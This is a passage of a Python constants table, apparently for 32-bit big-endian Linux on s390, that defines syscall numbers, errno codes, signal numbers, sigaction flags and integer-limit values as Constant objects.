Constant('__NR_rt_sigprocmask',175)\n__NR_rt_sigpending = Constant('__NR_rt_sigpending',176)\n__NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',177)\n__NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',178)\n__NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',179)\n__NR_pread64 = Constant('__NR_pread64',180)\n__NR_pwrite64 = Constant('__NR_pwrite64',181)\n__NR_chown = Constant('__NR_chown',182)\n__NR_getcwd = Constant('__NR_getcwd',183)\n__NR_capget = Constant('__NR_capget',184)\n__NR_capset = Constant('__NR_capset',185)\n__NR_sigaltstack = Constant('__NR_sigaltstack',186)\n__NR_sendfile = Constant('__NR_sendfile',187)\n__NR_getpmsg = Constant('__NR_getpmsg',188)\n__NR_putpmsg = Constant('__NR_putpmsg',189)\n__NR_vfork = Constant('__NR_vfork',190)\n__NR_ugetrlimit = Constant('__NR_ugetrlimit',191)\n__NR_mmap2 = Constant('__NR_mmap2',192)\n__NR_truncate64 = Constant('__NR_truncate64',193)\n__NR_ftruncate64 = Constant('__NR_ftruncate64',194)\n__NR_stat64 = Constant('__NR_stat64',195)\n__NR_lstat64 = Constant('__NR_lstat64',196)\n__NR_fstat64 = Constant('__NR_fstat64',197)\n__NR_lchown32 = Constant('__NR_lchown32',198)\n__NR_getuid32 = Constant('__NR_getuid32',199)\n__NR_getgid32 = Constant('__NR_getgid32',200)\n__NR_geteuid32 = Constant('__NR_geteuid32',201)\n__NR_getegid32 = Constant('__NR_getegid32',202)\n__NR_setreuid32 = Constant('__NR_setreuid32',203)\n__NR_setregid32 = Constant('__NR_setregid32',204)\n__NR_getgroups32 = Constant('__NR_getgroups32',205)\n__NR_setgroups32 = Constant('__NR_setgroups32',206)\n__NR_fchown32 = Constant('__NR_fchown32',207)\n__NR_setresuid32 = Constant('__NR_setresuid32',208)\n__NR_getresuid32 = Constant('__NR_getresuid32',209)\n__NR_setresgid32 = Constant('__NR_setresgid32',210)\n__NR_getresgid32 = Constant('__NR_getresgid32',211)\n__NR_chown32 = Constant('__NR_chown32',212)\n__NR_setuid32 = Constant('__NR_setuid32',213)\n__NR_setgid32 = Constant('__NR_setgid32',214)\n__NR_setfsuid32 = Constant('__NR_setfsuid32',215)\n__NR_setfsgid32 = Constant('__NR_setfsgid32',216)\n__NR_pivot_root = Constant('__NR_pivot_root',217)\n__NR_mincore = Constant('__NR_mincore',218)\n__NR_madvise = Constant('__NR_madvise',219)\n__NR_getdents64 = Constant('__NR_getdents64',220)\n__NR_fcntl64 = Constant('__NR_fcntl64',221)\n__NR_readahead = Constant('__NR_readahead',222)\n__NR_sendfile64 = Constant('__NR_sendfile64',223)\n__NR_setxattr = Constant('__NR_setxattr',224)\n__NR_lsetxattr = Constant('__NR_lsetxattr',225)\n__NR_fsetxattr = Constant('__NR_fsetxattr',226)\n__NR_getxattr = Constant('__NR_getxattr',227)\n__NR_lgetxattr = Constant('__NR_lgetxattr',228)\n__NR_fgetxattr = Constant('__NR_fgetxattr',229)\n__NR_listxattr = Constant('__NR_listxattr',230)\n__NR_llistxattr = Constant('__NR_llistxattr',231)\n__NR_flistxattr = Constant('__NR_flistxattr',232)\n__NR_removexattr = Constant('__NR_removexattr',233)\n__NR_lremovexattr = Constant('__NR_lremovexattr',234)\n__NR_fremovexattr = Constant('__NR_fremovexattr',235)\n__NR_gettid = Constant('__NR_gettid',236)\n__NR_tkill = Constant('__NR_tkill',237)\n__NR_futex = Constant('__NR_futex',238)\n__NR_sched_setaffinity = Constant('__NR_sched_setaffinity',239)\n__NR_sched_getaffinity = Constant('__NR_sched_getaffinity',240)\n__NR_tgkill = Constant('__NR_tgkill',241)\n__NR_io_setup = Constant('__NR_io_setup',243)\n__NR_io_destroy = Constant('__NR_io_destroy',244)\n__NR_io_getevents = Constant('__NR_io_getevents',245)\n__NR_io_submit = Constant('__NR_io_submit',246)\n__NR_io_cancel = Constant('__NR_io_cancel',247)\n__NR_exit_group = Constant('__NR_exit_group',248)\n__NR_epoll_create = Constant('__NR_epoll_create',249)\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',250)\n__NR_epoll_wait = Constant('__NR_epoll_wait',251)\n__NR_set_tid_address = Constant('__NR_set_tid_address',252)\n__NR_fadvise64 = Constant('__NR_fadvise64',253)\n__NR_timer_create = Constant('__NR_timer_create',254)\n__NR_timer_settime = Constant('__NR_timer_settime',(254+1))\n__NR_timer_gettime = Constant('__NR_timer_gettime',(254+2))\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',(254+3))\n__NR_timer_delete = Constant('__NR_timer_delete',(254+4))\n__NR_clock_settime = Constant('__NR_clock_settime',(254+5))\n__NR_clock_gettime = Constant('__NR_clock_gettime',(254+6))\n__NR_clock_getres = Constant('__NR_clock_getres',(254+7))\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',(254+8))\n__NR_fadvise64_64 = Constant('__NR_fadvise64_64',264)\n__NR_statfs64 = Constant('__NR_statfs64',265)\n__NR_fstatfs64 = Constant('__NR_fstatfs64',266)\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',267)\n__NR_mbind = Constant('__NR_mbind',268)\n__NR_get_mempolicy = Constant('__NR_get_mempolicy',269)\n__NR_set_mempolicy = Constant('__NR_set_mempolicy',270)\n__NR_mq_open = Constant('__NR_mq_open',271)\n__NR_mq_unlink = Constant('__NR_mq_unlink',272)\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',273)\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',274)\n__NR_mq_notify = Constant('__NR_mq_notify',275)\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',276)\n__NR_kexec_load = Constant('__NR_kexec_load',277)\n__NR_add_key = Constant('__NR_add_key',278)\n__NR_request_key = Constant('__NR_request_key',279)\n__NR_keyctl = Constant('__NR_keyctl',280)\n__NR_waitid = Constant('__NR_waitid',281)\n__NR_ioprio_set = Constant('__NR_ioprio_set',282)\n__NR_ioprio_get = Constant('__NR_ioprio_get',283)\n__NR_inotify_init = Constant('__NR_inotify_init',284)\n__NR_inotify_add_watch = Constant('__NR_inotify_add_watch',285)\n__NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',286)\n__NR_migrate_pages = Constant('__NR_migrate_pages',287)\n__NR_openat = Constant('__NR_openat',288)\n__NR_mkdirat = Constant('__NR_mkdirat',289)\n__NR_mknodat = Constant('__NR_mknodat',290)\n__NR_fchownat = Constant('__NR_fchownat',291)\n__NR_futimesat = Constant('__NR_futimesat',292)\n__NR_fstatat64 = Constant('__NR_fstatat64',293)\n__NR_unlinkat = Constant('__NR_unlinkat',294)\n__NR_renameat = Constant('__NR_renameat',295)\n__NR_linkat = Constant('__NR_linkat',296)\n__NR_symlinkat = Constant('__NR_symlinkat',297)\n__NR_readlinkat = Constant('__NR_readlinkat',298)\n__NR_fchmodat = Constant('__NR_fchmodat',299)\n__NR_faccessat = Constant('__NR_faccessat',300)\n__NR_pselect6 = Constant('__NR_pselect6',301)\n__NR_ppoll = Constant('__NR_ppoll',302)\n__NR_unshare = Constant('__NR_unshare',303)\n__NR_set_robust_list = Constant('__NR_set_robust_list',304)\n__NR_get_robust_list = Constant('__NR_get_robust_list',305)\n__NR_splice = Constant('__NR_splice',306)\n__NR_sync_file_range = Constant('__NR_sync_file_range',307)\n__NR_tee = Constant('__NR_tee',308)\n__NR_vmsplice = Constant('__NR_vmsplice',309)\n__NR_move_pages = Constant('__NR_move_pages',310)\n__NR_getcpu = Constant('__NR_getcpu',311)\n__NR_epoll_pwait = Constant('__NR_epoll_pwait',312)\n__NR_utimes = Constant('__NR_utimes',313)\n__NR_fallocate = Constant('__NR_fallocate',314)\n__NR_utimensat = Constant('__NR_utimensat',315)\n__NR_signalfd = Constant('__NR_signalfd',316)\n__NR_timerfd = Constant('__NR_timerfd',317)\n__NR_eventfd = Constant('__NR_eventfd',318)\n__NR_timerfd_create = Constant('__NR_timerfd_create',319)\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',320)\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',321)\n__NR_signalfd4 = Constant('__NR_signalfd4',322)\n__NR_eventfd2 = Constant('__NR_eventfd2',323)\n__NR_inotify_init1 = Constant('__NR_inotify_init1',324)\n__NR_pipe2 = Constant('__NR_pipe2',325)\n__NR_dup3 = Constant('__NR_dup3',326)\n__NR_epoll_create1 = Constant('__NR_epoll_create1',327)\n__NR_preadv = Constant('__NR_preadv',328)\n__NR_pwritev = Constant('__NR_pwritev',329)\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',330)\n__NR_perf_event_open = Constant('__NR_perf_event_open',331)\n__NR_fanotify_init = Constant('__NR_fanotify_init',332)\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',333)\n__NR_prlimit64 = Constant('__NR_prlimit64',334)\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',335)\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',336)\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',337)\n__NR_syncfs = Constant('__NR_syncfs',338)\n__NR_setns = Constant('__NR_setns',339)\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',340)\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',341)\n__NR_s390_runtime_instr = Constant('__NR_s390_runtime_instr',342)\n__NR_kcmp = Constant('__NR_kcmp',343)\n__NR_finit_module = Constant('__NR_finit_module',344)\n__NR_sched_setattr = Constant('__NR_sched_setattr',345)\n__NR_sched_getattr = Constant('__NR_sched_getattr',346)\n__NR_renameat2 = Constant('__NR_renameat2',347)\n__NR_seccomp = Constant('__NR_seccomp',348)\n__NR_getrandom = Constant('__NR_getrandom',349)\n__NR_memfd_create = Constant('__NR_memfd_create',350)\n__NR_bpf = Constant('__NR_bpf',351)\n__NR_s390_pci_mmio_write = Constant('__NR_s390_pci_mmio_write',352)\n__NR_s390_pci_mmio_read = Constant('__NR_s390_pci_mmio_read',353)\n__NR_execveat = Constant('__NR_execveat',354)\n__NR_userfaultfd = Constant('__NR_userfaultfd',355)\n__NR_membarrier = Constant('__NR_membarrier',356)\n__NR_recvmmsg = Constant('__NR_recvmmsg',357)\n__NR_sendmmsg = Constant('__NR_sendmmsg',358)\n__NR_socket = Constant('__NR_socket',359)\n__NR_socketpair = Constant('__NR_socketpair',360)\n__NR_bind = Constant('__NR_bind',361)\n__NR_connect = Constant('__NR_connect',362)\n__NR_listen = Constant('__NR_listen',363)\n__NR_accept4 = Constant('__NR_accept4',364)\n__NR_getsockopt = Constant('__NR_getsockopt',365)\n__NR_setsockopt = Constant('__NR_setsockopt',366)\n__NR_getsockname = Constant('__NR_getsockname',367)\n__NR_getpeername = Constant('__NR_getpeername',368)\n__NR_sendto = Constant('__NR_sendto',369)\n__NR_sendmsg = Constant('__NR_sendmsg',370)\n__NR_recvfrom = Constant('__NR_recvfrom',371)\n__NR_recvmsg = Constant('__NR_recvmsg',372)\n__NR_shutdown = Constant('__NR_shutdown',373)\n__NR_mlock2 = Constant('__NR_mlock2',374)\n__NR_copy_file_range = Constant('__NR_copy_file_range',375)\n__NR_preadv2 = Constant('__NR_preadv2',376)\n__NR_pwritev2 = Constant('__NR_pwritev2',377)\n__NR_s390_guarded_storage = Constant('__NR_s390_guarded_storage',378)\n__NR_statx = Constant('__NR_statx',379)\n__NR_s390_sthyi = Constant('__NR_s390_sthyi',380)\n__NR_kexec_file_load = Constant('__NR_kexec_file_load',381)\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',382)\n__NR_rseq = Constant('__NR_rseq',383)\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',384)\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',385)\n__NR_pkey_free = Constant('__NR_pkey_free',386)\n__NR_semget = Constant('__NR_semget',393)\n__NR_semctl = Constant('__NR_semctl',394)\n__NR_shmget = Constant('__NR_shmget',395)\n__NR_shmctl = Constant('__NR_shmctl',396)\n__NR_shmat = Constant('__NR_shmat',397)\n__NR_shmdt = Constant('__NR_shmdt',398)\n__NR_msgget = Constant('__NR_msgget',399)\n__NR_msgsnd = Constant('__NR_msgsnd',400)\n__NR_msgrcv = Constant('__NR_msgrcv',401)\n__NR_msgctl = Constant('__NR_msgctl',402)\n__NR_clock_gettime64 = Constant('__NR_clock_gettime64',403)\n__NR_clock_settime64 = Constant('__NR_clock_settime64',404)\n__NR_clock_adjtime64 = Constant('__NR_clock_adjtime64',405)\n__NR_clock_getres_time64 = Constant('__NR_clock_getres_time64',406)\n__NR_clock_nanosleep_time64 = Constant('__NR_clock_nanosleep_time64',407)\n__NR_timer_gettime64 = Constant('__NR_timer_gettime64',408)\n__NR_timer_settime64 = Constant('__NR_timer_settime64',409)\n__NR_timerfd_gettime64 = Constant('__NR_timerfd_gettime64',410)\n__NR_timerfd_settime64 = Constant('__NR_timerfd_settime64',411)\n__NR_utimensat_time64 = Constant('__NR_utimensat_time64',412)\n__NR_pselect6_time64 = Constant('__NR_pselect6_time64',413)\n__NR_ppoll_time64 = Constant('__NR_ppoll_time64',414)\n__NR_io_pgetevents_time64 = Constant('__NR_io_pgetevents_time64',416)\n__NR_recvmmsg_time64 = Constant('__NR_recvmmsg_time64',417)\n__NR_mq_timedsend_time64 = Constant('__NR_mq_timedsend_time64',418)\n__NR_mq_timedreceive_time64 = Constant('__NR_mq_timedreceive_time64',419)\n__NR_semtimedop_time64 = Constant('__NR_semtimedop_time64',420)\n__NR_rt_sigtimedwait_time64 = Constant('__NR_rt_sigtimedwait_time64',421)\n__NR_futex_time64 = Constant('__NR_futex_time64',422)\n__NR_sched_rr_get_interval_time64 = Constant('__NR_sched_rr_get_interval_time64',423)\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424)\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',425)\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',426)\n__NR_io_uring_register = Constant('__NR_io_uring_register',427)\n__NR_open_tree = Constant('__NR_open_tree',428)\n__NR_move_mount = Constant('__NR_move_mount',429)\n__NR_fsopen = Constant('__NR_fsopen',430)\n__NR_fsconfig = Constant('__NR_fsconfig',431)\n__NR_fsmount = Constant('__NR_fsmount',432)\n__NR_fspick = Constant('__NR_fspick',433)\n__NR_pidfd_open = Constant('__NR_pidfd_open',434)\n__NR_clone3 = Constant('__NR_clone3',435)\n__NR_openat2 = Constant('__NR_openat2',437)\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438)\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEDEADLK = Constant('EDEADLK',35)\nENAMETOOLONG = Constant('ENAMETOOLONG',36)\nENOLCK = Constant('ENOLCK',37)\nENOSYS = Constant('ENOSYS',38)\nENOTEMPTY = Constant('ENOTEMPTY',39)\nELOOP = Constant('ELOOP',40)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nENOMSG = Constant('ENOMSG',42)\nEIDRM = Constant('EIDRM',43)\nECHRNG = Constant('ECHRNG',44)\nEL2NSYNC = Constant('EL2NSYNC',45)\nEL3HLT = Constant('EL3HLT',46)\nEL3RST = Constant('EL3RST',47)\nELNRNG = Constant('ELNRNG',48)\nEUNATCH = Constant('EUNATCH',49)\nENOCSI = Constant('ENOCSI',50)\nEL2HLT = Constant('EL2HLT',51)\nEBADE = Constant('EBADE',52)\nEBADR = Constant('EBADR',53)\nEXFULL = Constant('EXFULL',54)\nENOANO = Constant('ENOANO',55)\nEBADRQC = Constant('EBADRQC',56)\nEBADSLT = Constant('EBADSLT',57)\nEDEADLOCK = Constant('EDEADLOCK',35)\nEBFONT = Constant('EBFONT',59)\nENOSTR = Constant('ENOSTR',60)\nENODATA = Constant('ENODATA',61)\nETIME = Constant('ETIME',62)\nENOSR = Constant('ENOSR',63)\nENONET = Constant('ENONET',64)\nENOPKG = Constant('ENOPKG',65)\nEREMOTE = Constant('EREMOTE',66)\nENOLINK = Constant('ENOLINK',67)\nEADV = Constant('EADV',68)\nESRMNT = Constant('ESRMNT',69)\nECOMM = Constant('ECOMM',70)\nEPROTO = Constant('EPROTO',71)\nEMULTIHOP = Constant('EMULTIHOP',72)\nEDOTDOT = Constant('EDOTDOT',73)\nEBADMSG = Constant('EBADMSG',74)\nEOVERFLOW = Constant('EOVERFLOW',75)\nENOTUNIQ = Constant('ENOTUNIQ',76)\nEBADFD = Constant('EBADFD',77)\nEREMCHG = Constant('EREMCHG',78)\nELIBACC = Constant('ELIBACC',79)\nELIBBAD = Constant('ELIBBAD',80)\nELIBSCN = Constant('ELIBSCN',81)\nELIBMAX = Constant('ELIBMAX',82)\nELIBEXEC = Constant('ELIBEXEC',83)\nEILSEQ = Constant('EILSEQ',84)\nERESTART = Constant('ERESTART',85)\nESTRPIPE = Constant('ESTRPIPE',86)\nEUSERS = Constant('EUSERS',87)\nENOTSOCK = Constant('ENOTSOCK',88)\nEDESTADDRREQ = Constant('EDESTADDRREQ',89)\nEMSGSIZE = Constant('EMSGSIZE',90)\nEPROTOTYPE = Constant('EPROTOTYPE',91)\nENOPROTOOPT = Constant('ENOPROTOOPT',92)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94)\nEOPNOTSUPP = Constant('EOPNOTSUPP',95)\nENOTSUP = Constant('ENOTSUP',95)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',96)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',97)\nEADDRINUSE = Constant('EADDRINUSE',98)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99)\nENETDOWN = Constant('ENETDOWN',100)\nENETUNREACH = Constant('ENETUNREACH',101)\nENETRESET = Constant('ENETRESET',102)\nECONNABORTED = Constant('ECONNABORTED',103)\nECONNRESET = Constant('ECONNRESET',104)\nENOBUFS = Constant('ENOBUFS',105)\nEISCONN = Constant('EISCONN',106)\nENOTCONN = Constant('ENOTCONN',107)\nESHUTDOWN = Constant('ESHUTDOWN',108)\nETOOMANYREFS = Constant('ETOOMANYREFS',109)\nETIMEDOUT = Constant('ETIMEDOUT',110)\nECONNREFUSED = Constant('ECONNREFUSED',111)\nEHOSTDOWN = Constant('EHOSTDOWN',112)\nEHOSTUNREACH = Constant('EHOSTUNREACH',113)\nEALREADY = Constant('EALREADY',114)\nEINPROGRESS = Constant('EINPROGRESS',115)\nESTALE = Constant('ESTALE',116)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nEDQUOT = Constant('EDQUOT',122)\nENOMEDIUM = Constant('ENOMEDIUM',123)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',124)\nECANCELED = Constant('ECANCELED',125)\nENOKEY = Constant('ENOKEY',126)\nEKEYEXPIRED = Constant('EKEYEXPIRED',127)\nEKEYREVOKED = Constant('EKEYREVOKED',128)\nEKEYREJECTED = Constant('EKEYREJECTED',129)\nEOWNERDEAD = Constant('EOWNERDEAD',130)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131)\nERFKILL = Constant('ERFKILL',132)\nEHWPOISON = Constant('EHWPOISON',133)\n__SYS_NERR = Constant('__SYS_NERR',((133) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',4321)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',4321)\n__WORDSIZE = Constant('__WORDSIZE',32)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647)))\nINTPTR_MAX = Constant('INTPTR_MAX',(2147483647))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGBUS = Constant('SIGBUS',7)\nSIGUSR1 = Constant('SIGUSR1',10)\nSIGUSR2 = Constant('SIGUSR2',12)\nSIGSTKFLT = Constant('SIGSTKFLT',16)\nSIGCHLD = Constant('SIGCHLD',17)\nSIGCONT = Constant('SIGCONT',18)\nSIGSTOP = Constant('SIGSTOP',19)\nSIGTSTP = Constant('SIGTSTP',20)\nSIGTTIN = Constant('SIGTTIN',21)\nSIGTTOU = Constant('SIGTTOU',22)\nSIGURG = Constant('SIGURG',23)\nSIGXCPU = Constant('SIGXCPU',24)\nSIGXFSZ = Constant('SIGXFSZ',25)\nSIGVTALRM = Constant('SIGVTALRM',26)\nSIGPROF = Constant('SIGPROF',27)\nSIGWINCH = Constant('SIGWINCH',28)\nSIGIO = Constant('SIGIO',29)\nSIGPWR = Constant('SIGPWR',30)\nSIGSYS = Constant('SIGSYS',31)\nSIGCLD = Constant('SIGCLD',17)\nSIGPOLL = Constant('SIGPOLL',29)\nSIGLOST = Constant('SIGLOST',30)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000004)\nSA_RESTORER = Constant('SA_RESTORER',0x04000000)\nSA_ONSTACK = Constant('SA_ONSTACK',0x08000000)\nSA_RESTART = Constant('SA_RESTART',0x10000000)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NODEFER = Constant('SA_NODEFER',0x40000000)\nSA_RESETHAND = Constant('SA_RESETHAND',0x80000000)\nSA_NOMASK = Constant('SA_NOMASK',0x40000000)\nSA_ONESHOT = Constant('SA_ONESHOT',0x80000000)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',0)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',1)\nSIG_SETMASK = Constant('SIG_SETMASK',2)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\n__NUM_GPRS = Constant('__NUM_GPRS',16)\n__NUM_FPRS = Constant('__NUM_FPRS',16)\n__NUM_ACRS = Constant('__NUM_ACRS',16)\n_SIGCONTEXT_NSIG = Constant('_SIGCONTEXT_NSIG',64)\n_SIGCONTEXT_NSIG_BPW = Constant('_SIGCONTEXT_NSIG_BPW',64)\n__SIGNAL_FRAMESIZE = Constant('__SIGNAL_FRAMESIZE',160)\n_SIGCONTEXT_NSIG_WORDS = Constant('_SIGCONTEXT_NSIG_WORDS',(64 / 64))\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = 